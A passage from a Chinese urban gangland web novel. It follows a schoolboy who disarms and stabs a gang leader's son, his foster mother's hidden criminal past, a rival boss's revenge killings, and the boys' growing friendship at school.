此刻,退无可退!张霆琛牙关紧咬,生死一搏!他眼神猛地一偏,似要看向别处分散谢逸轩注意,左手如同蓄势已久的毒蛇,闪电般插入刀锋内侧,手背精准地卡住对方握刀手腕的骨头缝!剧痛让谢逸轩本能地一滞,张霆琛右肘已如重锤,“砰”地一声闷响,结结实实撞在他小腹软肋上!效果竟与师父所言分毫不差!谢逸轩痛得闷哼一声,身体弓起。张霆琛哪敢耽搁,左手铁钳般扣死对方手腕,双腿瞬间屈成半蹲,一个灵巧的旋身,如同泥鳅般从对方臂弯内侧滑到外侧!夺刀!反刺!动作一气呵成!
然而,冰冷的刀柄入手滑腻,生死关头指尖竟失了力道!刀尖没有如预想般稳如磐石地刺向心脏,反而歪斜着向下划去!噗嗤一声轻响,是利刃入肉的钝声,但刀口朝下,只斜斜扎进了谢逸轩的侧腹,远非致命!谢逸轩剧痛中眼中凶光更盛!
千钧一发!张霆琛脑中警铃大作!师父教导的下一招本能般使出!他右腿如攻城槌般猛地向前跨出一步,狠狠撞进谢逸轩怀中,同时右手奋力一夺!那柄原本属于谢逸轩的刀,被他硬生生抢了过来!借着前冲的巨力,张霆琛用尽全身力气,胸膛狠狠顶在谢逸轩胸口!
“噗通!”
一声沉重的闷响,谢逸轩像个破麻袋般被撞飞出去,重重砸在地上!他双目圆瞪,难以置信地低头看着自己小腹,那把他用来威胁别人的森冷利刃,此刻正颤巍巍地插在他自己的肚子上,血渍迅速在衣服上洇开!
时间仿佛凝固了。整个场面死寂一片!峰哥那群人脸上的狞笑僵住,眼珠子几乎要瞪出来,嘴巴张得能塞进鸡蛋。震惊、恐惧、茫然,像冰水一样浇遍了每个人!唯有李辰浩,瞳孔深处闪过一丝锐利的光芒。他看得真切:张霆琛那套动作,步法如狸猫般敏捷,手法似鹰爪般精准,没有丝毫拖泥带水!只是……最后那刀,是竖着从旁扎入,伤口虽深,却避开了要害,绝非致命!
“快跑!”张霆琛沙哑的嘶吼如同惊雷,瞬间劈开了死寂!
李辰浩反应极快,脑中念头未转,身体已如离弦之箭般弹射而出!两人拔腿狂奔!
“操!操!!操!!!”峰哥这才如梦初醒,脸上血色尽褪,慌乱得语无伦次,随即爆发出歇斯底里的吼叫,“叫救护车!快他妈叫救护车啊!!”
一群人手忙脚乱地扑向倒地的谢逸轩,哪里还顾得上追那两个消失在巷口的身影。
不知狂奔了多久,肺叶火辣辣地疼,喉咙里全是铁锈味,张霆琛才拉着李辰浩在一个昏暗的墙角停下,胸膛剧烈起伏。“你家在哪?”他喘着粗气问。
李辰浩被这突如其来的问话噎住,眼神瞬间闪过一丝慌乱和躲闪,像受惊的小兽。这细微的表情变化,立刻被张霆琛捕捉到了。“他肯定有难处”张霆琛心里咯噔一下。
“为什么帮我?”李辰浩的声音低沉沙哑,带着深深的困惑和戒备,目光紧紧锁住张霆琛。
张霆琛抬手抹了把脸上的汗,咧开嘴,露出一个在昏暗光线下显得格外干净甚至有些天真的笑容:“因为我们是朋友啊!刚才不是说好了吗?”
“朋友……”这两个字像滚烫的炭火,烫得李辰浩心头一颤,喉咙像是被什么堵住了。这个词对他而言,遥远得如同上辈子的事。一股难以言喻的酸涩和莫名的恐慌涌了上来。两人间的空气骤然变得沉重,只有粗重的喘息声在寂静的巷子里回荡。
最终还是李辰浩打破了这令人窒息的沉默,他深吸一口气,仿佛下定了决心,声音带着一种孤注一掷的决绝:“你不是想知道我的事吗?想好了!跟我沾上边,‘朋友’这俩字,就是催命符!今天这种场面,随时可能再来!”他紧紧盯着张霆琛,试图在那张年轻的脸上找到退缩和恐惧。
然而,他再次失算了。
张霆琛的眼神没有丝毫动摇,反而更加明亮。他挺直腰板,声音不大,却字字铿锵,带着少年人特有的赤诚和固执:“我们是朋友!所以我不怕!有福同享,有难同当!”
这句话,像一道温暖的阳光,猝不及防地穿透李辰浩心中冰封多年的阴霾。一股强烈的酸意猛地冲上鼻腔,眼眶瞬间发热,他慌忙低下头,掩饰着差点夺眶而出的泪水。他颤抖着手摸出一根皱巴巴的烟,叼在嘴上,打火机“咔哒”了几次才点燃。烟雾缭绕中,他长长吐出一口浊气,声音带着历经沧桑的喟叹:“多少年了”烟头的火光在昏暗中明明灭灭。“今晚上去你家凑合一宿?”他抬起眼,试探地问。
张霆琛毫不犹豫地点头:“走!”两人拦了辆出租车,朝着张霆琛家的方向疾驰而去。
暮色四合,华灯初上。直到走进张霆琛家略显老旧的楼道,借着昏黄的声控灯光,李辰浩才猛地注意到,张霆琛深色的裤子上,从大腿内侧到膝盖,赫然洇湿了一大片深色的水渍!
“噗……哈哈哈!”李辰浩先是一愣,随即再也忍不住,爆发出爽朗又带着点戏谑的大笑。原来刚才生死搏杀时,这小子怕得尿裤子了!
张霆琛的脸“腾”地一下红到了耳根,窘迫得恨不能找个地缝钻进去,结结巴巴地**:“不,不准笑!不准再提这事!我们是朋友!”他气鼓鼓地强调着“朋友”二字,仿佛这是抵御嘲笑的最后盾牌。李辰浩看他急赤白脸的样子,忍着笑,总算不再戳破。
这时,厨房的门“吱呀”一声开了。薛妈围着围裙,一脸慈和的笑容走了出来,手上还沾着面粉。“小琛回来啦?哟,带同学来了?”她的声音温和得像冬日暖阳,目光落在李辰浩身上,带着长辈特有的和善,“正好,我多炒两个菜。”她看到李辰浩手臂上的伤,眉头微蹙,但发现那刀没开刃,伤口不深,便熟练地找来药箱,轻手轻脚地替他清洗包扎好。
饭菜的香气很快弥漫了整个小小的客厅。两人围坐在方桌前,李辰浩扒拉了一口饭,忍不住又抬眼看向对面埋头苦吃的张霆琛,嘴角勾起一丝揶揄:“喂,刚才那么怕,为什么还冲上来帮我?”他刻意压低了声音。
“都说了不准提!”张霆琛猛地抬起头,脸颊还鼓着饭粒,像只炸毛的猫,眼神却异常认真,“我们是朋友!”
李辰浩看着他孩子气的认真劲儿,笑着摇摇头,不再逗他。他放下筷子,神情变得郑重:“那你呢?刚才那几下子,跟谁学的?太利落了!跟你平时的样子完全不相符”他眼中充满了好奇和探究。
张霆琛刚要开口,薛妈端着最后一盘热气腾腾的菜适时地走了过来,脸上笑容依旧慈祥,动作却异常利落,恰到好处地打断了他们的对话:“来来来,趁热吃,多吃点!”她的眼神在李辰浩脸上飞快地掠过,带着一丝不易察觉的审视,仿佛在无声地警告什么。
张霆琛却浑然不觉,他咽下嘴里的饭,抢着问:“先别说我!说说你吧!刚才我听见他们喊你父亲”他顿了顿,小心地观察着李辰浩的脸色。
李辰浩脸上的笑意瞬间褪尽,如同蒙上了一层灰暗的纱。他沉默了几秒,仿佛在积攒勇气,最终,所有的防备和掩饰都卸下了。他声音低沉,带着浓重的疲惫和苦涩:“我妈走得早。我爸会点拳脚,后来跟了城西的‘黑皮’混饭吃。”他艰难地叙述着,“半年前,他们老大干了票大的,出了人命,栽赃给了我爸顶了雷。我去求谢逸轩
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他爸,谢建勇”李辰浩的拳头在桌下攥得死紧,指节发白,“我跪在他办公室外面,磕头,说只要放我爸出来,我做牛做马都行,他看我体格还行,就把我塞到他儿子身边当跟班,说这事就算了”
“可是!”李辰浩的声音陡然拔高,充满了愤怒和绝望,“几个月了!我爸还在里面!他们根本没打算放人!”他猛地灌了一口水,仿佛要压下喉头的哽咽。
“那你现在为了我们跟谢家翻脸,你爸怎么办?!”张霆琛急了,一把抓住李辰浩的手臂。
李辰浩甩开他的手,眼神却异常冷静,甚至带着一丝决绝的释然:“跟你们没关系!其实昨天替谢逸轩挡完赵子睿那帮人后,在医院处理伤口,碰见了我爸以前的老兄弟,强叔。”他压低声音,眼中燃烧着冰冷的火焰,“他告诉我真相了,我爸是被他大哥和谢建勇联手做局坑进去的!就因为我爸知道了不该知道的秘密,今天去找谢逸轩,就是想当面问个明白!”
张霆琛先是松了口气,随即一股怒火直冲头顶:“这帮畜生!**不是人!”他气得一拳砸在桌子上。李辰浩只是扯了扯嘴角,露出一抹比哭还难看的苦笑。
一直默默坐在一旁,看似平静地吃着饭的薛妈,此刻眼神却异常深邃,平静得有些过分。
两人边吃边聊,气氛沉重。饭后,薛妈收拾着碗筷,动作依旧麻利,却忽然转向李辰浩,脸上那惯常的慈祥笑容淡了几分,语气温和却带着不容置疑的分量:“小同学,谢谢你今天护着小琛。饭吃完了,天色也不早了,你该回去了。”
张霆琛像被踩了尾巴的猫,猛地跳起来:“薛妈!你怎么了?他是我朋友!他爸还在里面,他现在能去哪?”
薛妈缓缓转过身,脸上依旧挂着笑,但那笑意却未达眼底。昏黄的灯光下,张霆琛敏锐地捕捉到,薛妈那双总是温和的眸子里,此刻竟掠过一丝极其隐晦、却令人脊背发凉的……杀意!他几乎是出于本能,身体一横,坚定地挡在了李辰浩身前,像一堵突然竖起的墙。
李辰浩也感受到了那股无形的压力,他站起身,声音低沉:“薛妈说得对。我就是个麻烦篓子,走到哪儿,麻烦就跟到哪儿。我这就走。”他看向挡在身前的张霆琛,眼中闪过一丝温暖和感激,“张霆琛,你这个朋友,我李辰浩认了,记一辈子!”
“不行!”张霆琛急红了眼,猛地扭头对着薛妈吼道,“要赶他走,我跟他一起走!”
薛妈静静地看着激动的张霆琛,眼中那丝冰冷的杀意如同潮水般悄然退去。她轻轻叹了口气,语气恢复了平日的柔和,却带着一种更深沉的力量:“算了。”她目光越过张霆琛,再次落在李辰浩身上,“今天听你们说,谢家那小子,是小琛捅的?”
李辰浩心头一紧,默默点头。
薛妈的声音不高,却清晰地传入两人耳中:“你父亲的事,还有谢家那边,我帮你想想办法。”她顿了顿,目光陡然变得锐利如刀,紧紧锁定李辰浩,一字一句地说道,“但是,从今往后,你不准再打听、再询问关于张霆琛的任何事!你只需要知道,他是个孤儿,我是他养母,我们娘俩只想守着这个家,过几天安生日子!听明白了吗?”那温和的语调里,蕴含着一种久居上位、不容违抗的威严和霸气!
李辰浩浑身一震,仿佛被无形的气机锁定。父亲有救的希望像黑暗中的一道光,让他瞬间激动起来,虽然难以置信,但巨大的诱惑让他毫不犹豫地重重点头:“好!我答应您!”他感觉后背瞬间被冷汗浸透,刚才那一瞬间,他毫不怀疑,如果自己敢说半个“不”字,眼前这个看似慈祥的妇人,真的会让他血溅当场!这是何等可怕的威慑力!
张霆琛见气氛缓和,立刻喜笑颜开,仿佛刚才的剑拔**张从未发生,一把拉住还有些发懵的李辰浩:“太好了!走走走,睡我屋去!”不由分说地把他往自己房间拽去。
第九章:罗刹影重现
夜色像一块浸了墨的破布,沉甸甸地压在城市上空,一边是张霆琛和李辰浩在梦乡中舒展的眉头,另一边的别墅里却正翻涌着比夜色更浓稠的戾气。
谢建勇把沙发扶手攥得咯吱响,唾沫星子喷在邓峰脸上:"废物!你不是吹自己十八般武艺能耍得天花乱坠?连个半大孩子都看不住,让轩轩挨了一刀!"峰哥刚想张嘴辩解,谢建勇的皮鞋已经带着风声踹过来,那力道狠得像砸向墙面的砖块,峰哥整个人像断线的风筝,"砰"地撞在墙上,滑下来时嘴角已经挂了血,蜷缩成一团,痛苦的抽气。
"邓峰,先下去。"旁边的吴青开口,声音平得像结了冰的湖面。邓峰捂着肚子刚要挪步,谢建勇的怒喝又砸过来:"这个月的钱你一分没有!货也别想碰了!"这话像抽走了他最后一丝力气,他耷拉着脑袋,活像被晒蔫的黄瓜,一步一拖地蹭出了门。
谢建勇瘫在沙发上,额角的青筋还在跳:"吴青,你说这叫什么狗屁事!对了,陈海刚才亲自打电话,逼着要放李全,你说...慕容廷那老狐狸是不是闻到味儿了?"
吴青端起茶杯抿了一口,眼底闪过一丝精光:"应该不至于,不过今天我去查捅小轩那小子的底细,在他家门口看见了个熟人。"
"谁?说重点!"谢建勇往前探着身子,脖子伸得像只被捏住的鹅。
"罗刹姐。"吴青慢悠悠吐出三个字。
谢建勇像被踩了尾巴的猫,猛地从沙发上弹起来:"罗刹?那个二十年前让整个市黑道都抖三抖的女人?她怎么会掺和进来?"
"谁能想到呢,"吴青冷笑一声,"当年跺跺脚就能让一条街关门的罗刹,现在居然围着围裙带孩子。更巧的是,李辰浩进她家没多久,陈海的电话就来了。你算算,她退隐的日子,正好跟张霆琛这小子的年纪对得上——这孩子,十有**是她的种。"
谢建勇听得直咂嘴,还没回过神,吴青又甩出一张照片:"再看看这个。"照片上的张霆琛眉眼锋利,那股子狠劲简直是慕容廷年轻时候的翻版。"我敢打包票,这是慕容廷和罗刹的私生子!"
谢建勇盯着照片,手心里全是汗:"那陈海这边怎么办?李全死咬着不认罪,没证据定不了罪,硬不放人...万一慕容廷知道我们私接**的事..."
"那就让他死在看守所里!"吴青的声音冷得像冰锥,"总不能把他交到陈海手上当把柄!"
"你疯了?"谢建勇猛地站起来,"上头追责下来,我这身皮都得被扒了!"
吴青也急了,"我们私底下接的那些‘糖丸’(**)生意要是漏了,让慕容廷知道了……那就不只是麻烦,是灭顶之灾!是抄家灭门!你忘了市里的铁律了?没有欧阳家点头,谁敢碰地下买卖?许可证是那么好拿的?得跪着求欧阳家信任,还得把六成的利润乖乖上贡!现在多少人为了保命,宁愿少赚点也要贴上欧阳家的标签?我们这是在刀尖上跳舞!李全就是悬在头顶那把刀!”
这番话像冰锥刺进谢建勇的心脏,让他瞬间冷静下来,恐惧压倒了顾虑。他沉默了足有半分钟,脸上阴晴不定,最终,一股狠戾爬上眉梢。他抓起手机,拨通电话,对着那头的陈海地说:"海哥,李全...刚病**。"电话那头,陈海只冷冷地“哼”了一声,便直接挂断。那一声冷哼,透过听筒,像毒蛇的信子舔过谢建勇的耳膜,让他后颈瞬间布满冷汗,握着手机的手微微发颤。他烦躁地抓着头发,却没看见吴青眼里一闪而过的阴翳。
电话挂断的忙音还在听筒里响着,陈海面无表情地将手机放下,转向旁边沙发里闭目养神的中年男人——慕容廷,房间里檀香袅袅,气氛却冷得瘆人。
“本来嘛,”慕容廷缓缓睁开眼,慢条斯理地捻着腕上的佛珠,声音温和得像在谈论天气,“他要是识相,乖乖放人,这事也就翻篇了。我还想着,这狗虽然背着主人偷吃,但念在往日看家护院的份上,多养几天也无妨。”??他顿了顿,嘴角勾起一丝毫无温度的弧度,眼神却锐利如刀,“可惜啊,狗不听话了。偷吃是小过,不听主人的话……那就是死罪。不能留了。”
陈海微微颔首,眼神中杀意一闪而逝,无声地退出了房间,去执行那冰冷的裁决。
谁也没料到,这通电话成了谢建勇最后的声音。深夜的别墅里,两道黑影像鬼魅般滑过,"扑扑"两声闷响,谢建勇和怀里的女人还没来得及睁眼,就永远闭上了嘴。鲜血渗进地毯,像开了朵妖异的花。
同一时刻,城市的另一端,吴青的住处。
与谢建勇的“坦诚相见”不同,吴青有个保命的怪癖——行完房后,他必定会赤身裸体地滚进宽大的床底下睡觉。此刻,他正蜷在冰冷的地板上,被厚实的床垫遮蔽。
门锁传来极其细微的“咔哒”声,几乎轻不可闻。一个幽灵般的黑影悄无声息地潜入卧室。黑影的目光迅速扫过凌乱却空无一人的大床,没有丝毫停留,转身便欲离开。
然而,就在他抬脚的瞬间,脚尖似乎无意中绊到了一根几乎透明的细线。
“嘀——!!!”??刺耳的、足以撕裂寂静夜空的警报声骤然响起!
床底的吴青像受惊的兔子般猛地睁开眼,心脏几乎跳出嗓子眼!几乎在警报响起的同时,卧室门被撞开,几名守在外间的亲信**冲了进来!
黑影**显然没料到这一出,身形一滞,反应也是极快,立刻就想夺窗而逃。但吴青的亲信并非庸手,几声短促的搏斗和闷哼后,**被死死按在了地上。
吴青狼狈地从
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床底爬出,胡乱披上睡衣,惊魂未定地看着被制服的**,眼神惊怒交加:“谁派你来的?!说!”
**被死死压着,脸上却没有任何表情,眼神空洞得像两口枯井。吴青刚想上前逼问,只见**眼中突然闪过一丝决绝,猛地一咬牙关,随即用尽全身力气,狠狠将头撞向旁边坚硬的墙壁!
“咚!”??一声令人牙酸的闷响。鲜血混杂着脑浆瞬间溅满了壁纸。**抽搐两下,再无声息。
吴青看着眼前惨烈的一幕,脸色煞白,后背瞬间被冷汗浸透。他冲到电话旁,手指颤抖着拨通谢建勇的号码。
“嘟……嘟……嘟……”??忙音,只有冰冷而漫长的忙音。
吴青的心沉到了谷底。他猛地扔掉电话,一股巨大的寒意从脚底直冲头顶。他瞬间明白了——是慕容家!谢建勇完了!下一个,就是自己!
“快!”??他嘶哑着嗓子对亲信低吼,声音因恐惧而变形,“带上太太和少爷,马上走!离开这里!立刻!马上!”??他像一头嗅到死亡气息的困兽,下达了逃亡的命令。
刺杀失败的消息很快传回。
“失败?”??慕容廷看着垂手肃立的陈海,声音平静无波,却让房间的温度骤降,“我记得,你的‘鹰组’,从未失过手?”??他轻轻放下茶杯,杯底与托盘相碰,发出清脆却令人心悸的声响。
陈海的头垂得更低,脸上火辣辣的,声音带着愧疚:“大哥……从未有过。这次……是我的疏忽,请大哥责罚!”??他腰弯得更深。
慕容廷站起身,走到陈海面前,伸手扶住他的肩膀,将他托起。脸上的冰霜瞬间融化,换上了真挚的关切:“阿海,你这是做什么?你我兄弟,生死之交!当年若不是你拼死护住我一家老小,我慕容廷早就尸骨无存了!这点小事,何谈责罚?”??他拍了拍陈海的臂膀,眼神恳切,“记住,我们是兄弟。以后,不准再说这种见外的话。”
陈海抬起头,眼中满是感动和忠诚:“大哥……”
慕容廷收回手,脸上的温情瞬间收敛,眼神再次变得锐利而冷酷:“不过,人,必须追回来。斩草,要除根。”
“是!大哥放心!我亲自去办!绝不留后患!”??陈海挺直腰板,眼中燃烧着熊熊的斗志和杀意。
看着陈海离去的背影,慕容廷的眼神深邃难测。他刚才的怒意,三分是真,七分是激。他要让陈海明白,对待敌人,必须像最精密的机器,算无遗策,一击必杀!任何轻视和疏忽,都可能万劫不复。对敌人,唯有八个字:准备万全,斩尽杀绝!这,才是他慕容廷的生存之道。至于对陈海的情谊?那是真的。这份兄弟情,有时甚至超越了他对自己血脉的考量。这复杂的交织,正是他立于风暴中心的根基。
第十章:陵园路 生死诺
容市的黎明总带着股潮湿的霉味,像是昨夜那场风波没褪尽的余腥。晨雾还没散,早点摊的煤炉“呼嗒”喘着气,油条在滚油里翻出金黄的浪,骑电动车的上班族按响的喇叭混着卖豆浆的吆喝——这人间烟火气浓得化不开,却偏偏盖不住某些角落里凝结的黑暗。就像此刻窗台上那盆绿萝,叶片上还挂着凌晨的露水,根须却在看不见的土里缠满了腐烂的泥。
薛妈推开李辰浩房门时,黄铜门环擦过木框,发出声沉闷的“咔啦”。她鬓角的碎发用一根玉簪别着,青布衫的袖口沾着点没洗净的墨痕,手里端着的白瓷碗里,小米粥正冒着绵密的热气,几粒枸杞沉在碗底,像泡发的血珠。
“醒了就来吃粥。”她的声音不高,却像块石头砸进客厅的寂静里。
李辰浩揉着眼睛出来时,张霆琛正趴在桌上跟粥碗较劲,鼻尖快碰到粥面,睫毛上还挂着没干的泪痕——昨夜他偷偷哭了半宿,担心李辰浩知道真相后会疯。木椅被他晃得“吱呀”响,直到薛妈把一碟酱菜“啪”地拍在桌上,他才猛地坐直,耳尖红得像被烫过。
“辰浩,”薛妈往他碗里夹了块腐乳,腐乳在白粥里晕开暗红的云,“你爸没了。”
李辰浩舀粥的勺子顿在半空,瓷勺碰着碗边,发出声细锐的颤音。他抬眼时,瞳孔里的光像被掐灭的烛火,一点点暗下去:“您说啥?”
“谢建勇在看守所动的手,”薛妈用筷子拨弄着碟子里的姜丝,声音平得像结了冰的湖面,“尸体本来要扔进焚化炉,是夜里偷偷挖出来的,骨头都焦了大半,只能凑着埋进了城西陵园。”
“哐当!”不锈钢勺子砸在水泥地上,弹了三下,滚到薛妈脚边。李辰浩突然像头被激怒的小兽,猛地扑过去攥住薛妈的手腕,指节陷进她松垮的皮肉里,指缝间渗出青白的印子:“你们答应过的!说会保他平安!你们骗我!”他的声音劈了叉,像被砂纸磨过的铁皮,眼泪砸在薛妈手背上,烫得她几不可察地缩了下。
薛妈反手一甩,力道竟比看着沉得多。李辰浩像片被狂风卷落的叶子,“咚”地撞在墙角的矮柜上,搪瓷缸子从柜顶掉下来,滚了满地的茶叶。他顾不上额角磕出的红印,爬起来就往门口冲,帆布鞋碾过地上的茶叶,留下串湿黑的印子。
“小琛!”薛妈的声音陡然冷了,“拦住他。拦不住,以后你们就别做朋友了。”
张霆琛懵了一瞬,可看李辰浩眼里那团要把自己烧尽的火,心里猛地一揪,他这副样子冲出去,怕是连谢建勇的面都见不着,就得先横尸街头。他扑过去抱住李辰浩的腰,胸口撞在对方后背上,像撞上块烧红的铁。
“放手!”李辰浩的声音从牙缝里挤出来,带着股血腥味。他胳膊一拧,张霆琛的手腕立刻传来钻心的疼,骨头像要被生生拧断。可张霆琛咬着牙没松手,指甲抠进李辰浩的衣料里,攥出几道皱痕。
“你爸不在了,你要是再出事,谁给叔叔报仇?”张霆琛的眼泪糊了满脸,滴在李辰浩的后颈上,“你还有我啊!我们是朋友!”
李辰浩突然笑了,笑声像破风箱似的,震得张霆琛耳朵发麻。他猛地回身,胳膊肘顶在张霆琛胸口,膝盖顺势往对方腿弯一磕。张霆琛“哎哟”一声摔在地上,后腰撞在凳腿上,疼得眼冒金星,却看见李辰浩那双曾经亮得像星子的眼睛,此刻空得像口枯井。
“我不需要朋友。”李辰浩的脚踩在张霆琛手背上,皮鞋底碾过指骨,“我只要谢建勇的命。”
张霆琛疼得浑身发抖,眼泪更凶了,却死死抓住李辰浩的裤脚:“你斗不过他们的!谢建勇手眼通天,你去了就是送死!”
“放手。”李辰浩的皮鞋又碾了碾。
“不!”张霆琛突然吼出声,声音里带着哭腔,却格外坚定,“要去一起去!你**我给你收尸!”
李辰浩的拳头突然砸下来,带着风声擦过张霆琛的脸颊,“咚”地砸在地板上,水泥地竟裂开道细纹。张霆琛吓得一哆嗦,却看见李辰浩的拳头在抖,那不是愤怒,是绝望。
“你打我也行,骂我也行,”张霆琛抹了把眼泪,突然翻身拽住李辰浩的胳膊,借着对方发力的惯性,一个巧劲将人掀翻在地。他骑在李辰浩身上,膝盖顶着对方的腰,手背青筋暴起,“今天你哪儿也别想去!”
李辰浩在底下笑得更疯了,嘴角咧到耳根,露出白森森的牙:“就凭你?”他猛地弓起背,像条泥鳅似的从张霆琛身下滑出来,反手扣住对方的手腕。可张霆琛不知哪来的劲,竟硬生生挣脱开,还顺手抄起旁边的鸡毛掸子,却又想起什么似的扔在地上,他舍不得真打。
“动手吧。”张霆琛站在原地,胸口剧烈起伏,校服衬衫的扣子崩开了两颗,“打赢了,你就走。打不赢,就听我的。”
李辰浩的拳头带着风声冲过来,拳风扫过张霆琛的鼻尖,带着股淡淡的汗味。换作平时,张霆琛早该被揍得满地找牙,可今天他像变了个人,身子一矮,手腕像条蛇似的缠上李辰浩的胳膊,顺着对方的力道轻轻一拧。只听“咔”的一声,李辰浩的拳头偏了方向,砸在墙上,石灰簌簌往下掉。
“你?”李辰浩愣了,眼里第一次有了别的情绪。
张霆琛没说话,只是定定地看着他。晨光从窗棂钻进来,在他脸上割出明暗交错的痕,平日里总带着笑的嘴角此刻抿成条倔强的直线。
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李辰浩的腿风带着狠劲扫过来,张霆琛却像片纸似的往后飘,指尖在对方脚踝上轻轻一勾。李辰浩往前趔趄,张霆琛顺势按住他的肩膀,膝盖顶住他的后腰,两人再次滚作一团。这次李辰浩没再挣扎,只是盯着天花板,眼里的泪突然汹涌而出,砸在地板上,溅起细小的水花。
“我爸没了……”他的声音像被水泡胀的棉絮,“我就剩他一个亲人了……”
张霆琛的心像被什么东西狠狠揪了下,突然松开手,抱住李辰浩的头:“我陪你。”他的声音带着哭腔,却字字清晰,“要报仇,我陪你一起。但不是现在这样冲出去送死。”
李辰浩猛地转过身,死死抱住张霆琛,肩膀抖得像秋风里的落叶。张霆琛能感觉到他的眼泪浸透了自己的衬衫,烫得像团火。
“以后,你就是我亲兄弟。”李辰浩的声音哑得厉害,“上刀山下火海,我都跟你。”
就在这时,薛妈的声音像块冰砸进来:“谢建勇一家,不用你们动手了。”
两人猛地抬头,只见薛妈正用抹布擦着刚才被撞歪的矮柜,动作慢悠悠的,仿佛在说件再平常不过的事:“昨晚后半夜处理的,他家连一条狗都没活,都给埋了。”
李辰浩“咚”地跪在地上,额头重重磕在地板上,发出闷响:“薛妈大恩,李辰浩没齿难忘!这辈子做牛做马……”
“别谢我。”薛妈打断他,把一张折成方块的纸扔过来,“永远别问是谁做的,不然我会杀了你,小琛也保不住你。”她看了眼张霆琛,小琛从小吃的苦,不比任何人少。各种擒拿、刀法,都是下了死功夫练的。只是他性子软,不爱显摆,被人欺负了也总忍着,看着娇气罢了。真动起手来…”
李辰浩捡起纸条,展开一看,上面的地址用毛笔写就,墨迹里还混着点暗红的渣,不知是朱砂还是别的什么。他把纸条攥在手心,指节泛白,突然拉起张霆琛:“走,看我爸去。”
两人出门时,薛妈正站在窗前,看着他们的背影被晨光拉长。她抬手摸了摸鬓角的玉簪,那玉簪的缺口处,似乎还沾着点没擦净的暗红。风从窗缝钻进来,吹动她青布衫的衣角,露出里面藏着的、泛着冷光的金属边。
陵园的柏油路被晒得发软,空气里飘着纸钱和柏油混合的怪味。李辰浩蹲在那块新立的墓碑前,指尖抚过碑上“李全”三个字,突然“噗嗤”笑了出来,笑着笑着,眼泪又涌了出来。张霆琛没说话,只是默默递过一包纸巾,然后在他身边蹲下,陪着他一起看那碑上的名字,看远处被风吹得摇晃的松柏。
阳光越来越烈,把两人的影子烤得缩成一团,紧紧靠在一起,像从未分开过。
第十一章:第一次守护
午时的阳光白花花地泼在校园门口,晒得柏油路都发软。张霆琛和李辰浩踩着滚烫的地面,一头扎进路边一家喧闹的小饭馆。空调的凉气裹挟着油烟味扑面而来,两人找了个角落的卡座,汗津津地坐下。张霆琛一边翻着油腻腻的菜单,一边摸出手机,手指飞快地给苏旭发短信:“放学叫上陈曦、曹婷,门口老地方,速来!”
二十分钟像被按了快进键,放学的铃声刚歇,人流便涌出校门。苏旭像艘领航的小船,带着陈曦和曹婷在人潮中劈波斩浪,径直杀向饭馆。一推开门,苏旭的目光像探照灯一样扫过,瞬间就锁定了李辰浩。他脸上的笑容“唰”地冻住了,嘴角绷紧,眼神里淬着冰碴子,虽然昨天是李辰浩救了场,可那点感激早被根深蒂固的警惕挤到了角落。张霆琛眼尖,立刻捕捉到那股敌意,胳膊肘轻轻撞了苏旭一下,声音带着安抚的笑意:“小旭,这是李辰浩,自己人,以后好好处。”苏旭喉结滚动了一下,那股紧绷的劲儿松了些,但身体还是硬邦邦地,别扭地挤到最边上的座位,像颗随时会弹开的石子。
这时,李辰浩站了起来。他提起桌上的茶壶,水流带着热气注入苏旭面前的杯子,发出轻微的“哗啦”声。“对不住了,”他的声音不高,带着点沙哑,眼神诚恳地看向苏旭,“以前的事,这杯茶,算我赔罪。”苏旭看着那杯晃着涟漪的热茶,又瞥了眼张霆琛鼓励的眼神,心里的疙瘩似乎被这热气蒸软了一点。他“噌”地站起来,脸上还有点不自在的红晕:“别,浩哥!过去就翻篇了,以后咱就是朋友!”他也提起壶,给李辰浩满上,茶水撞击杯壁的声响清脆利落。
看着两人之间无形的冰层融化,张霆琛咧开嘴,响亮地拍了下桌子:“好!这才对嘛!老板,点菜!”气氛刚热络起来,一直笑眯眯旁观的陈曦,抱着胳膊,下巴微扬,故意拖长了调子:“哟~新朋友?我是他们大姐大,你怎么光敬小旭,不敬我呀?”旁边的曹婷“噗嗤”一声笑出来,捂着肚子弯了腰。李辰浩的脸“腾”地红了,像个熟透的番茄,手都不知道往哪儿放。但他很快稳住,带着点窘迫的笑意,麻利地也给陈曦斟满一杯。陈曦“哎呀”一声,赶紧站起来摆手:“逗你玩呢!我叫陈曦,”她扬手指了指还在笑的曹婷,“她叫曹婷。”李辰浩挠了挠后脑勺,声音带着点局促:“客气了,我叫李辰浩。”这一番带着烟火气的“认亲”戏码,看得张霆琛嘴角就没放下来过,觉得比桌上的菜还有滋味。
饭毕,几人刚走到店门口,李辰浩猛地一把拽住张霆琛的胳膊肘:“别动!”力道之大,让张霆琛一个趔趄。他愕然回头:“怎么了?”李辰浩眼神锐利地扫过街对面,压低了嗓子,像绷紧的弓弦:“是赵子睿!我跟谢逸轩混的时候跟他结过梁子。”想起对薛妈的承诺,李辰浩硬生生压下了过去那股“天王老子来了也不怕”的横劲儿。旁边的苏旭眼睛一亮,凑过来小声问:“浩哥,听说你那天一个人撂倒他们好几个?真的假的?教教我呗?”李辰浩嘴角牵起一丝若有若无的笑,还没答话,陈曦的粉拳已经带着风声“咚”地敲在苏旭脑袋上:“就你八卦!”大家顿时哄笑起来。张霆琛却盯着李辰浩手臂上被衣袖半遮的淤痕,眉头紧锁:“你胳膊上的伤,是不是他们弄的?”李辰浩的沉默像块沉重的石头,默认了。谁也没注意到,张霆琛垂在身侧的手,指节捏得发白,脸上肌肉一阵不易察觉的抽搐。
回到教学楼,张霆琛才知道李辰浩在8班。挥手道别后,整个下午,张霆琛的课本仿佛都镀上了一层温暖的光。他托着腮,窗外摇曳的树影都化成了朋友们生动的笑脸,一种从未有过的、被友情填满的暖流在他胸腔里鼓胀。就连许盛那不知死活的威胁—“谢逸轩好了就弄死你!”—都像只恼人的苍蝇嗡嗡飞过,丝毫没搅乱他心湖的涟漪。张霆琛只是冷冷地瞥了他一眼,那眼神像冰锥,无声地刺穿了对方的虚张声势。
下课铃响,老师还在讲台上意犹未尽地拖堂。张霆琛早就按捺不住,像屁股下装了弹簧,只等“放学”二字一落,就飞快地往书包里塞书本,恨不得立刻飞去找李辰浩。刚拉上书包拉链,陈曦清亮的声音响起:“哎,张霆琛,急什么!今天轮到咱组值日!”张霆琛猛地一拍脑门,被巨大的幸福感冲昏的头脑这才清醒,他不好意思地“嘿嘿”傻笑两声,转身就去找墙角的扫帚。苏旭也蹦跶过来,一把勾住他脖子:“等等我!霆琛,一起干!今天我爸妈都晚回!”张霆琛笑着递过一把扫帚:“求之不得!”
